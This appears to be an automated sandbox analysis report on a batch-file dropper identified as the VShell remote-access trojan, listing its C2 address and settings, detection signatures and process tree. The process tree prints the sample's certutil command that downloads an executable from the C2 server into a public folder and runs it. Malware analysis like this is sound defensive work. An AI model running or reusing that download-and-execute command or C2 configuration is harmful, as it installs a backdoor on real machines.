Analysis

  • max time kernel
    148s
  • max time network
    153s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    31/08/2026, 00:15

General

  • Target
    windows.bat
  • Size 500B
  • Sample260831-akd18aea95
  • SHA256 bdb796587ad85b17af989047322802254012550197de76120669a5d5f0f9f411
  • MD5 SHA1 SHA512 TLSH

Malware Config

Extracted

Family
  • vshell

C2
  • 68.64.181.23

Attributes
  • port

    19999

  • salt

    qwe123qwe

  • type

    tcp

  • vkey

    qwe123qwe

Signatures

  • Family: VShell

    VShell is a cross-platform Go-based RAT and C2 framework targeting Windows and Linux.

  • Detects VSHELL Backdoor 1 IoCs
  • Downloads MZ/PE file 2 IoCs
  • Executes dropped EXE 1 IoCs
  • Executes a command shell one-liner 1 TTPs 2 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Suspicious behavior: EnumeratesProcesses 5 IoCs
  • Suspicious use of AdjustPrivilegeToken 43 IoCs
  • Suspicious use of WriteProcessMemory 5 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\windows.bat"
    1⤵
    • Executes a command shell one-liner
    • Suspicious use of WriteProcessMemory
    PID:4204
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c wmic os get osarchitecture | findstr 64
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:1172
      • C:\Windows\System32\Wbem\WMIC.exe
        wmic os get osarchitecture
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1492
      • C:\Windows\system32\findstr.exe
        findstr 64
        3⤵
          PID:4912
      • C:\Windows\system32\certutil.exe
        certutil.exe -urlcache -split -f "http://68.64.181.23:19999/?h=68.64.181.23&p=19999&t=tcp&a=w64&stage=true" "C:\Users\Public\bc791051tcp.exe"
        2⤵
        • Downloads MZ/PE file
        PID:3260
      • C:\Users\Public\bc791051tcp.exe
        "C:\Users\Public\bc791051tcp.exe"
        2⤵
        • Executes dropped EXE
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2028

    Network

          MITRE ATT&CK Enterprise v16

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          bc791051tcp.exe

          • Path C:\Users\Public\bc791051tcp.exe
          • Size 3KB
          • SHA256 06a5b3bf4a7ec464abf18bc700e12eb160550aeebfe3efbef6f4955e28bbffe2
          • MD5 SHA1 SHA512 TLSH

          memory/2028-7-0x0000000067700000-0x0000000067ED4000-memory.dmp